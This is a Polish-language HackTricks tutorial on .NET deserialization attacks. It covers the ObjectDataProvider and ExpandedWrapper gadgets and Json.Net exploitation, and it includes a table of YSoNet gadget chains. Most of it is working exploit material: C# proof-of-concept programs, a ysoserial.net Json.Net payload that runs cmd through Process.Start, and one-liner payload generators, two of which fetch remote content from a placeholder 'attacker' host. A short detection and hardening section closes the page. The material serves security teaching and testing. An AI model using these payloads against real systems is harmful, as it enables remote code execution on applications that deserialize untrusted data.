Podstawowa deserializacja .Net (gadget ObjectDataProvider, ExpandedWrapper i Json.Net)
Reading time: 8 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Ten post jest poświęcony zrozumieniu, jak gadget ObjectDataProvider jest wykorzystywany do uzyskania RCE oraz jak biblioteki serializacji Json.Net i xmlSerializer mogą być nadużywane z tym gadgetem.
Gadget ObjectDataProvider
Z dokumentacji: klasa ObjectDataProvider opakowuje i tworzy obiekt, który możesz użyć jako źródło powiązania.
Tak, to dziwne wyjaśnienie, więc zobaczmy, co ma ta klasa, co jest tak interesujące: Ta klasa pozwala na opakowanie dowolnego obiektu, użycie MethodParameters do ustawienia dowolnych parametrów i następnie użycie MethodName do wywołania dowolnej funkcji dowolnego obiektu zadeklarowanego przy użyciu dowolnych parametrów.
W związku z tym, dowolny obiekt będzie wykonywał funkcję z parametrami podczas deserializacji.
Jak to jest możliwe
Przestrzeń nazw System.Windows.Data, znajdująca się w PresentationFramework.dll w C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF
, to miejsce, w którym zdefiniowano i zaimplementowano ObjectDataProvider.
Używając dnSpy możesz zbadać kod klasy, która nas interesuje. Na poniższym obrazku widzimy kod PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nazwa metody
Jak możesz zauważyć, gdy MethodName
jest ustawione, wywoływana jest base.Refresh()
, przyjrzyjmy się, co to robi:
Ok, kontynuujmy, aby zobaczyć, co robi this.BeginQuery()
. BeginQuery
jest nadpisywane przez ObjectDataProvider
i to jest to, co robi:
Zauważ, że na końcu kodu wywoływana jest this.QueryWorke(null)
. Zobaczmy, co to wykonuje:
Zauważ, że to nie jest pełny kod funkcji QueryWorker
, ale pokazuje interesującą część: Kod wywołuje this.InvokeMethodOnInstance(out ex);
to jest linia, w której ustawiona metoda jest wywoływana.
Jeśli chcesz sprawdzić, że wystarczy ustawić MethodName, zostanie ona wykonana, możesz uruchomić ten kod:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Zauważ, że musisz dodać jako odniesienie C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll, aby załadować System.Windows.Data
ExpandedWrapper
Korzystając z poprzedniego exploita, będą przypadki, w których obiekt będzie deserializowany jako instancja ObjectDataProvider (na przykład w przypadku podatności DotNetNuke, używając XmlSerializer, obiekt został deserializowany przy użyciu GetType
). Wtedy nie będziemy mieli wiedzy o typie obiektu, który jest opakowany w instancji ObjectDataProvider (na przykład Process
). Możesz znaleźć więcej informacji o podatności DotNetNuke tutaj.
Ta klasa pozwala określić typy obiektów obiektów, które są enkapsulowane w danej instancji. Tak więc, ta klasa może być używana do enkapsulowania obiektu źródłowego (ObjectDataProvider) w nowy typ obiektu i dostarczenia potrzebnych właściwości (ObjectDataProvider.MethodName i ObjectDataProvider.MethodParameters).
Jest to bardzo przydatne w przypadkach takich jak ten przedstawiony wcześniej, ponieważ będziemy mogli opakować _ObjectDataProvider** wewnątrz instancji **ExpandedWrapper _ i po deserializacji ta klasa utworzy obiekt OjectDataProvider, który wykona funkcję wskazaną w MethodName.
Możesz sprawdzić ten wrapper za pomocą następującego kodu:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
Na oficjalnej stronie wskazano, że ta biblioteka pozwala na serializację i deserializację dowolnego obiektu .NET za pomocą potężnego serializatora JSON Json.NET. Więc, jeśli moglibyśmy zdeserializować gadżet ObjectDataProvider, moglibyśmy spowodować RCE po prostu deserializując obiekt.
Przykład Json.Net
Przede wszystkim zobaczmy przykład, jak serializować/zdeserializować obiekt przy użyciu tej biblioteki:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Wykorzystywanie Json.Net
Używając ysoserial.net stworzyłem exploit:
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
W tym kodzie możesz przetestować exploit, po prostu go uruchom, a zobaczysz, że kalkulator zostanie uruchomiony:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Zaawansowane łańcuchy gadżetów .NET (YSoNet i ysoserial.net)
Technika ObjectDataProvider + ExpandedWrapper wprowadzona powyżej to tylko jeden z WIELU łańcuchów gadżetów, które można wykorzystać, gdy aplikacja wykonuje niebezpieczną deserializację .NET. Nowoczesne narzędzia red-teamowe, takie jak YSoNet (oraz starsze ysoserial.net), automatyzują tworzenie gotowych do użycia złośliwych grafów obiektów dla dziesiątek gadżetów i formatów serializacji.
Poniżej znajduje się skondensowana referencja najprzydatniejszych łańcuchów dostarczonych z YSoNet wraz z krótkim wyjaśnieniem, jak działają oraz przykładowymi poleceniami do generowania ładunków.
Łańcuch Gadżetów | Kluczowa Idea / Primitiv | Powszechne Serializatory | YSoNet one-liner |
---|---|---|---|
TypeConfuseDelegate | Korumpuje rekord DelegateSerializationHolder , tak że po zmaterializowaniu delegat wskazuje na dowolną metodę dostarczoną przez atakującego (np. Process.Start ) | BinaryFormatter , SoapFormatter , NetDataContractSerializer | ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin |
ActivitySurrogateSelector | Wykorzystuje System.Workflow.ComponentModel.ActivitySurrogateSelector , aby obejść filtrowanie typów .NET ≥4.8 i bezpośrednio wywołać konstruktor dostarczonej klasy lub skompilować plik C# w locie | BinaryFormatter , NetDataContractSerializer , LosFormatter | ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat |
DataSetOldBehaviour | Wykorzystuje dziedziczną reprezentację XML System.Data.DataSet , aby zainstancjonować dowolne typy, wypełniając pola <ColumnMapping> / <DataType> (opcjonalnie fałszując assembly za pomocą --spoofedAssembly ) | LosFormatter , BinaryFormatter , XmlSerializer | ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml |
GetterCompilerResults | W środowiskach z obsługą WPF (> .NET 5) łączy gettery właściwości, aż dotrze do System.CodeDom.Compiler.CompilerResults , a następnie kompiluje lub ładowa DLL dostarczoną z -c | Json.NET typeless, MessagePack typeless | ysonet.exe GetterCompilerResults -c Loader.dll > payload.json |
ObjectDataProvider (przegląd) | Używa WPF System.Windows.Data.ObjectDataProvider , aby wywołać dowolną statyczną metodę z kontrolowanymi argumentami. YSoNet dodaje wygodną wersję --xamlurl , aby hostować złośliwy XAML zdalnie | BinaryFormatter , Json.NET , XAML , itd. | ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml |
PSObject (CVE-2017-8565) | Osadza ScriptBlock w System.Management.Automation.PSObject , który wykonuje się, gdy PowerShell deserializuje obiekt | Zdalne wywołanie PowerShell, BinaryFormatter | ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin |
tip
Wszystkie ładunki są domyślnie zapisywane do stdout, co ułatwia ich przesyłanie do innych narzędzi (np. generatorów ViewState, kodowników base64, klientów HTTP).
Budowanie / Instalowanie YSoNet
Jeśli nie ma dostępnych skompilowanych binarek w Actions ➜ Artifacts / Releases, poniższy PowerShell one-liner skonfiguruje środowisko budowy, sklonuje repozytorium i skompiluje wszystko w trybie Release:
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
Skonstruowany ysonet.exe
można znaleźć w ysonet/bin/Release/
.
Wykrywanie i wzmacnianie
- Wykryj nieoczekiwane procesy potomne
w3wp.exe
,PowerShell.exe
lub jakikolwiek proces deserializujący dane dostarczone przez użytkownika (np.MessagePack
,Json.NET
). - Włącz i wymuszaj filtrowanie typów (
TypeFilterLevel
= Full, niestandardowySurrogateSelector
,SerializationBinder
, itd.) zawsze, gdy przestarzałyBinaryFormatter
/NetDataContractSerializer
nie może być usunięty. - Gdzie to możliwe, migruj do
System.Text.Json
lubDataContractJsonSerializer
z konwerterami opartymi na białej liście. - Zablokuj niebezpieczne zestawy WPF (
PresentationFramework
,System.Workflow.*
) przed ładowaniem w procesach webowych, które nigdy ich nie potrzebują.
Odniesienia
- YSoNet – generator ładunków deserializacji .NET
- ysoserial.net – oryginalne narzędzie PoC
- Microsoft – CVE-2017-8565
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.